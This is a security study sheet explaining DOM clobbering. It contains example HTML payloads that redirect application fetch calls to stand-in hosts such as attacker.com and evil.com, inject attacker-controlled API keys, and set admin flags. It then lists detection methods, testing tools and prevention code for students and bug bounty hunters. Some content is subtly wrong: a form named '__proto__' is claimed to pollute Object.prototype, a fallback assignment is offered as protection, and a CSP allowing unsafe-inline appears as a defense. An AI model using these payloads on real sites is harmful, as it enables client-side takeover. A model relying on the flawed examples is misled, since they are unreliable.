DOM Clobbering - Security Study Sheet

📋 Definition

DOM Clobbering is a client-side vulnerability that exploits the way browsers create global variables and properties for HTML elements with certain attributes (like `id` and `name`). Attackers can inject HTML elements to "clobber" (overwrite) existing JavaScript variables and properties, potentially leading to XSS, prototype pollution, or other client-side attacks.

🎯 Types and Categories

1. Global Variable Clobbering

- **Description**: Overwriting global JavaScript variables
- **Characteristics**:
  - Uses `id` and `name` attributes
  - Creates window properties
  - Affects global scope variables

2. Property Chain Clobbering

- **Description**: Creating nested property structures
- **Characteristics**:
  - Multi-level property access
  - Complex object structures
  - Form and input element exploitation

3. Document Property Clobbering

- **Description**: Overwriting document object properties
- **Characteristics**:
  - `document.getElementById` manipulation
  - `document.forms` exploitation
  - `document.images` arrays

4. Collection Clobbering

- **Description**: Manipulating HTML collections
- **Characteristics**:
  - `HTMLCollection` objects
  - `NodeList` manipulation
  - Array-like object exploitation

5. Constructor Clobbering

- **Description**: Overwriting constructor properties
- **Characteristics**:
  - Prototype chain manipulation

  - Constructor function access
  - Object property pollution

6. Template Clobbering

- **Description**: Exploiting template engines via DOM clobbering
- **Characteristics**:
  - Client-side template manipulation
  - Variable resolution hijacking
  - Template syntax exploitation

7. Framework-Specific Clobbering

- **Description**: Targeting specific JavaScript frameworks
- **Characteristics**:
  - Framework variable manipulation
  - Library-specific vulnerabilities
  - Component property overwriting

🎯 Realistic Example Payloads

Basic Global Variable Clobbering

```html
<!-- Clobbering a global variable -->
<form id="config">
    <input name="apiUrl" value="https://attacker.com/malicious-api">
    <input name="debug" value="true">
</form>

<script>
// JavaScript code that might be vulnerable
if (config.apiUrl) {
    fetch(config.apiUrl + '/data')  // Points to attacker's server
    .then(response => response.json())
    .then(data => console.log(data));
}
</script>
```

Property Chain Clobbering

```html
<!-- Creating nested properties -->
<form id="app">
    <input name="config" value="clobbered">
</form>
<form id="app" name="config">
    <input name="apiKey" value="attacker-controlled-key">
    <input name="endpoint" value="https://evil.com/api">
</form>
```

```
<script>
// Vulnerable JavaScript
if (app.config && app.config.apiKey) {
    // This will use the attacker's values
    makeAPICall(app.config.endpoint, app.config.apiKey);
}
</script>
```

Document Property Manipulation

```
<!-- Clobbering document properties -->
<img name="cookie" src="x">
<img name="domain" src="x">

<script>
// This might be vulnerable if script expects document.cookie
if (typeof document.cookie === 'string') {
    // Normal code path
} else {
    // This branch might execute due to clobbering
    console.log('document.cookie has been clobbered');
}
</script>
```

HTMLCollection Exploitation

```
<!-- Clobbering HTMLCollection methods -->
<form name="forms"></form>
<img name="getElementById" src="x">

<script>
// JavaScript that might be affected
var element = document.getElementById('test');  // Might be clobbered
if (element) {
    element.innerHTML = userInput;  // Potential XSS
}
</script>
```

Anchor Tag Clobbering

```
<!-- Using anchor tags for clobbering -->
<a id="config" href="https://attacker.com">
<a id="config" name="debug" href="x"></a>

<script>
```

```
// Vulnerable code
if (config.debug) {
    console.log('Debug mode enabled');
    eval(debugCode);  // Dangerous if debugCode is controlled
}
</script>
```

Form-based Complex Clobbering

```
<!-- Complex form clobbering -->
<form id="user">
    <input name="profile" id="profile">
    <input name="settings" value="clobbered">
</form>
<form id="user" name="profile">
    <input name="email" value="attacker@evil.com">
    <input name="isAdmin" value="true">
</form>

<script>
// Vulnerable authentication check
if (user.profile.isAdmin === 'true') {
    // Attacker gains admin privileges
    showAdminPanel();
}
</script>
```

Library-Specific Clobbering

```
<!-- jQuery-specific clobbering -->
<img name="ready" src="x">
<img name="fn" src="x">

<!-- AngularJS clobbering -->
<div id="angular"></div>
<div id="angular" name="module" content="attacker-module"></div>

<!-- React clobbering -->
<div id="React">
    <div name="createElement" content="clobbered"></div>
</div>
```

Template Engine Exploitation

```
<!-- Handlebars/Mustache template clobbering -->
<div id="Handlebars">
```

```
    <div name="compile" id="clobbered-compile"></div>
</div>

<!-- Template that might be vulnerable -->
<script id="template" type="text/x-handlebars-template">
    <div>{{user.name}}</div>
    <div>{{config.message}}</div>
</script>
```

Prototype Pollution via DOM Clobbering

```
<!-- Polluting Object.prototype -->
<form id="__proto__">
    <input name="polluted" value="true">
    <input name="isAdmin" value="true">
</form>

<script>
// Check if prototype pollution occurred
var testObj = {};
if (testObj.polluted === 'true') {
    console.log('Prototype pollution successful');
}
</script>
```

Event Handler Clobbering

```
<!-- Clobbering event handlers -->
<img name="onclick" src="x">
<img name="onload" src="x">

<script>
// If code tries to set event handlers dynamically
element.onclick = onclick;  // Might use clobbered value
</script>
```

CSS Selector Clobbering

```
<!-- Affecting CSS selectors -->
<div id="querySelector">clobbered</div>
<div id="querySelectorAll">clobbered</div>

<script>
// Vulnerable code using selectors
var element = document.querySelector('#important-element');
if (element) {
    element.innerHTML = userContent;  // Potential XSS
}
</script>
```

Frame and Window Clobbering

```
<!-- Clobbering window properties -->
<iframe name="location" src="about:blank"></iframe>
<iframe name="top" src="about:blank"></iframe>
<iframe name="parent" src="about:blank"></iframe>

<script>
// Code that might be affected
if (window.location.hostname === 'trusted.com') {
    // Security check might be bypassed
    executePrivilegedCode();
}
</script>
```

SVG-based Clobbering

```
<!-- Using SVG elements -->
<svg><g id="config"><g name="apiUrl" id="https://attacker.com"></g></g></svg>

<script>
// SVG elements can also clobber global variables
if (config.apiUrl) {
    fetch(config.apiUrl.id + '/malicious-endpoint');
}
</script>
```

Embed and Object Clobbering

```
<!-- Using embed and object elements -->
<embed name="config" src="about:blank">
<object name="settings" data="about:blank"></object>

<script>
// These elements can also participate in clobbering
if (config && settings) {
    processConfiguration(config, settings);
}
</script>
```

🔍 Manual Detection Methods

1. Source Code Analysis
   - **Method**: Review JavaScript code for vulnerable patterns
   - **Look for**:
     - Global variable access without declaration
     - Direct property access on window/document
     - Unsafe variable resolution
2. HTML Element Injection Testing
   - **Method**: Inject HTML elements with id/name attributes
   - **Test cases**:

     ```
     <img id="test" name="property" src="x">
     <form id="config"><input name="value"></form>
     <a id="variable" href="x"></a>
     ```
3. Browser Console Testing
   - **Method**: Use browser dev tools to test clobbering
   - **Steps**:
     1. Inject clobbering elements
     2. Check window properties in console
     3. Verify variable overwriting
     4. Test property access chains
4. Dynamic Analysis
   - **Method**: Monitor variable states during execution
   - **Tools**: Browser debugger, console logging
   - **Technique**: Set breakpoints on vulnerable code paths
5. Framework-Specific Testing
   - **Method**: Test framework-specific variables
   - **Targets**:
     - jQuery: `$`, `jQuery`
     - AngularJS: `angular`
     - React: `React`
     - Vue: `Vue`
6. Automated Detection
   - **Method**: Use tools to identify potential clobbering
   - **Approach**: Static analysis of JavaScript code
   - **Focus**: Variable access patterns

🛠 Recommended Open-Source Tools

1. **DOMPurify**

   - **GitHub**: https://github.com/cure53/DOMPurify
   - **Description**: DOM-only XSS sanitizer (also prevents some clobbering)
   - **Usage**: Input sanitization and validation

2. **Burp Suite Community**

   - **Website**: https://portswigger.net/burp/communitydownload
   - **Description**: Web application security testing platform
   - **Features**: Manual DOM clobbering testing

3. **OWASP ZAP**

   - **GitHub**: https://github.com/zaproxy/zaproxy
   - **Description**: Comprehensive security testing proxy
   - **Features**: Client-side vulnerability detection

4. **DOM Invader**

   - **GitHub**: https://github.com/portswigger/dom-invader
   - **Description**: Burp Suite browser extension for DOM vulnerabilities
   - **Usage**: Browser extension for DOM analysis

5. **Nuclei**

   - **GitHub**: https://github.com/projectdiscovery/nuclei
   - **Description**: Fast vulnerability scanner
   - **Usage**: `nuclei -u http://example.com -t nuclei-templates/`

6. **eslint-plugin-security**

   - **GitHub**: https://github.com/nodesecurity/eslint-plugin-security
   - **Description**: ESLint rules for security issues
   - **Usage**: Static analysis for JavaScript vulnerabilities

7. **semgrep**

   - **GitHub**: https://github.com/returntocorp/semgrep
   - **Description**: Static analysis tool for finding bugs
   - **Usage**: Custom rules for DOM clobbering detection

8. **CodeQL**

   - **GitHub**: https://github.com/github/codeql
   - **Description**: Code analysis engine by GitHub
   - **Usage**: Custom queries for DOM clobbering patterns

9. **Browser DevTools**

   - **Built-in**: Browser developer tools

- **Usage**: Console testing and debugging
- **Features**: Variable inspection and modification

10. **Playwright**

- **GitHub**: https://github.com/microsoft/playwright
- **Description**: Browser automation library
- **Usage**: Automated DOM clobbering testing scripts

🛡️ Prevention Techniques

1. Variable Declaration

```
// Always declare variables properly
var config = config || {};  // Safer approach
let apiUrl = window.apiUrl || 'https://default-api.com';

// Use strict mode
'use strict';

// Better variable checking
if (typeof config !== 'undefined' && config !== null) {
    // Safe to use config
}
```

2. Property Validation

```
// Validate object properties
function safePropertyAccess(obj, path) {
    if (!obj || typeof obj !== 'object') return null;

    const parts = path.split('.');
    let current = obj;

    for (let part of parts) {
        if (!current.hasOwnProperty(part)) return null;
        current = current[part];
    }

    return current;
}

// Usage
const apiUrl = safePropertyAccess(config, 'api.url');
```

3. Namespace Protection

```
// Create protected namespace
(function() {
    'use strict';

    // Private configuration
    const privateConfig = {
        apiUrl: 'https://trusted-api.com',
        debug: false
    };

    // Expose only necessary parts
    window.MyApp = {
        getConfig: function() {
            return Object.freeze(Object.assign({}, privateConfig));
        }
    };
})();
```

4. Content Security Policy

```
Content-Security-Policy:
    default-src 'self';
    script-src 'self' 'unsafe-inline';
    object-src 'none';
```

5. Input Sanitization

```
// Sanitize HTML input to prevent clobbering elements
function sanitizeHTML(input) {
    const temp = document.createElement('div');
    temp.textContent = input;
    return temp.innerHTML;
}

// Remove dangerous attributes
function removeDangerousAttributes(element) {
    const dangerous = ['id', 'name', 'class'];
    dangerous.forEach(attr => {
        if (element.hasAttribute(attr)) {
            element.removeAttribute(attr);
        }
    });
}
```

🎓 Study Tips for Interviews & Certifications

Key Points to Remember:

1. **Mechanism**: HTML elements with id/name create global properties
2. **Impact**: Variable overwriting leading to XSS or logic bypass
3. **Detection**: Source code review and dynamic testing
4. **Prevention**: Proper variable declaration and validation

Common Interview Questions:

- "What is DOM clobbering and how does it work?"
- "How can DOM clobbering lead to XSS?"
- "What's the difference between DOM clobbering and prototype pollution?"
- "How would you prevent DOM clobbering in a web application?"

Practical Demonstration:

Be prepared to show DOM clobbering examples and explain prevention methods.

Real-world Examples:

- jQuery library vulnerabilities
- AngularJS template exploitation
- Single-page application (SPA) vulnerabilities
- E-commerce cart manipulation

Browser Behavior:

- Different browsers may have slight variations
- Modern browsers have some protections
- Legacy browser compatibility issues

This study sheet covers DOM Clobbering vulnerabilities comprehensively for security professionals, bug bounty hunters, and cybersecurity students.